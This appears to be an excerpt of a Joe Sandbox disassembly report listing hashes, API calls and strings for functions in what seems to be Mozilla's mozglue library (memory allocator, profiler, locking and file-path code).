Opcode ID: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction ID: 20878b8f2753c84148939ee40f1d8988a5a8f68cdd70b868c064c0310c94cd1d
Opcode Fuzzy Hash: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction Fuzzy Hash: 023171B19043048FDB00BF79C68826EBBF1BF85304F114A2DE98587301EB709459CBA6

Function 6C609620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

MapViewOfFileNuma2, xrefs: 6C6097B1
ntdll.dll, xrefs: 6C6096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
NtMapViewOfSection, xrefs: 6C609701

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction ID: b46869e6e347f49d17b25b9dc1a3327c1398f90561c9b3c8c72031ba376144dc
Opcode Fuzzy Hash: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction Fuzzy Hash: 6241CE717002119BDF09CFA6E9D4E9677B5FB8A369F104928ED0597740E734A804CFBA

Function 6C640000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C640039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C640041
GetCurrentThreadId.KERNEL32 ref: 6C640075
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C640082
moz_xmalloc.MOZGLUE(00000048), ref: 6C640090
free.MOZGLUE(?), ref: 6C640104
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C64011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C64005B

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction ID: 5ef7de6a2c4536d97b01b5fbbc502de204563bc6240641be5b4ff40d5ec885ba
Opcode Fuzzy Hash: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction Fuzzy Hash: C941B071500264DFCB25CF65C880A9ABBF0FF4A318F50891DE95A83B41D731A815CFAE

Function 6C607E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C607EA7
malloc.MOZGLUE(00000001), ref: 6C607EB3

Part of subcall function 6C60CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C60CB49
Part of subcall function 6C60CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C60CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C607EC4
mozalloc_abort.MOZGLUE(?), ref: 6C607F19
malloc.MOZGLUE(?), ref: 6C607F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C607F4D

Strings

d, xrefs: 6C607F89

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction ID: f8e9716071a38f31089f9c80d608f526405262377c4b6a35fc43b01cf1d42f71
Opcode Fuzzy Hash: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction Fuzzy Hash: BF313D61E043989BDF019F2ACD445FEB778EF96308F045628DD4967612FB30A5C8C399

Function 6C604C00 Relevance: 13.9, APIs: 8, Strings: 1, Instructions: 421COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C2F
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C82
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C89

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6050F3, 6C605121, 6C60513C

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2801635615-1351931279
Opcode ID: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction ID: 94405f25bf96de9c599e05deeb2bee7a7fb5050e22b000c2f49012cab7130860
Opcode Fuzzy Hash: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction Fuzzy Hash: 47F1FE717056018FD72DCF29C690769B7E1AF92328F28CA5DE4669BAD0CB70D801CB9C

Function 6C603E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C603EEE
RtlFreeHeap.NTDLL ref: 6C603FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C604006
RtlFreeHeap.NTDLL ref: 6C6040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040C2
RtlFreeHeap.NTDLL ref: 6C604134
RtlFreeUnicodeString.NTDLL(?,?,00000000,00000000,?,?,?,?,?,6C603CCC), ref: 6C604143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,00000000,?,?,?,?,?,6C603CCC), ref: 6C604157

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: ac07c0d931677ad02467f9836fd3ca3fa2348f802d9e8fd4186c98be77089593
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8DA19EB1B00205CFDB54CF69C980A69B7B5FF58308F2541A9D90ABF712D771E886CBA4

Function 6C5F2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C613F47,?,?,?,6C613F47,6C611A70,?), ref: 6C5F207F
memset.VCRUNTIME140(?,000000E5,6C613F47,?,6C613F47,6C611A70,?), ref: 6C5F20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C613F47,6C611A70,?), ref: 6C5F211A
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C613F47,6C611A70,?), ref: 6C5F21BA
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F21E0
LeaveCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2232

Strings

MOZ_CRASH(), xrefs: 6C5F227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5F2253, 6C5F2268

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction ID: b3007434dd2e166843af3bf93a60c835e83a9771a590560cc85d36ee506c9ddb
Opcode Fuzzy Hash: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction Fuzzy Hash: 3161E5B2F002568FDB0CCF69CC89B6E76B5AF85318F184539E534A7A94D7309C01CE99

Function 6C649D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C648273), ref: 6C649D65
free.MOZGLUE(6C648273,?), ref: 6C649D7C
free.MOZGLUE(?,?), ref: 6C649D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C649E0F
free.MOZGLUE(6C64946B,?,?), ref: 6C649E24
free.MOZGLUE(?,?,?), ref: 6C649E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C649EC8
free.MOZGLUE(6C64946B,?,?,?), ref: 6C649EDF
free.MOZGLUE(?,?,?,?), ref: 6C649EF5

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction ID: 92c91ff30e13bbb1ca05695132c5ff8fd6284da61f11b42b6b5acac998a99c9d
Opcode Fuzzy Hash: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction Fuzzy Hash: 93719F70909B418BC712CF18C58095BF7F9FF99319B44D61DE85A5BB12EB30E886CB89

Function 6C64DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DDCF

Part of subcall function 6C62FA00: ReleaseSRWLockExclusive.KERNEL32(?,?,6C605407), ref: 6C62FA4B

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE0D
free.MOZGLUE(00000000,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF32

Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DB86
Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000), ref: 6C64DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF65
free.MOZGLUE(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DF80

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction ID: 3070d898546eda05239daaec30fccf1a5fc4dce1859361e55083353b0e07c97b
Opcode Fuzzy Hash: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction Fuzzy Hash: 1D51C672E016119BD7219B29C880AEEB372AF92308F95C51CD51A53F00D731F81ACB9E

Function 6C655D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DC9
std::_Facet_Register.LIBCPMT ref: 6C655DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E45

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction ID: 31c5a1bd578424363ca476a65ef5910a25f8fa1fc2cc0fba5635b3ed967fcb92
Opcode Fuzzy Hash: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction Fuzzy Hash: 3A419C317002049FCB04DF66C8DCAAEB7F5EF89318F644568E50A9B791EB34A805CF69

Function 6C62CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5F31A7), ref: 6C62CDDD

Strings

<jemalloc>, xrefs: 6C62CF9F, 6C62CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C62CFA4, 6C62CFB8

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction ID: 2e7dc10f049cd96ea7826fba8e728e1e5950c9864ac01a13c870de65d0104777
Opcode Fuzzy Hash: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction Fuzzy Hash: 7F310730740215ABFB24AF658C45BAE7775AF81B18F204414F516ABAC0DB78D401CFAD

Function 6C5FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5FEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5FEDCC
CreateFileW.KERNEL32 ref: 6C5FEE08
free.MOZGLUE(00000000), ref: 6C5FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5FEE32

Part of subcall function 6C5FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5FEBB5
Part of subcall function 6C5FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C62D7F3), ref: 6C5FEBC3
Part of subcall function 6C5FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C62D7F3), ref: 6C5FEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5FEDC1

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction ID: a5b04d97232c3cd3e89959e1c75a43e8517b630017ef5685c52983cf70541103
Opcode Fuzzy Hash: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction Fuzzy Hash: EC51F471D052048FDB08DF69DC406EEB7B1AF4A318F04892DD8616BB40E770694ACBE6

Function 6C66A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A565

Part of subcall function 6C66A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66A4BE
Part of subcall function 6C66A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C66A6B6

Strings

0, xrefs: 6C66A5FB
z, xrefs: 6C66A6AE

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction ID: 0a538dc1e908270b4fa36b9ae62ee60b7968bc2fa0895016c6608e9541b382cc
Opcode Fuzzy Hash: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction Fuzzy Hash: 9B4138719087459FC341DF29C480A8ABBE5BF89354F408A2EF49987651E730E549CB97

Function 6C63DF60 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DF7D
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DF8A
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DFC9
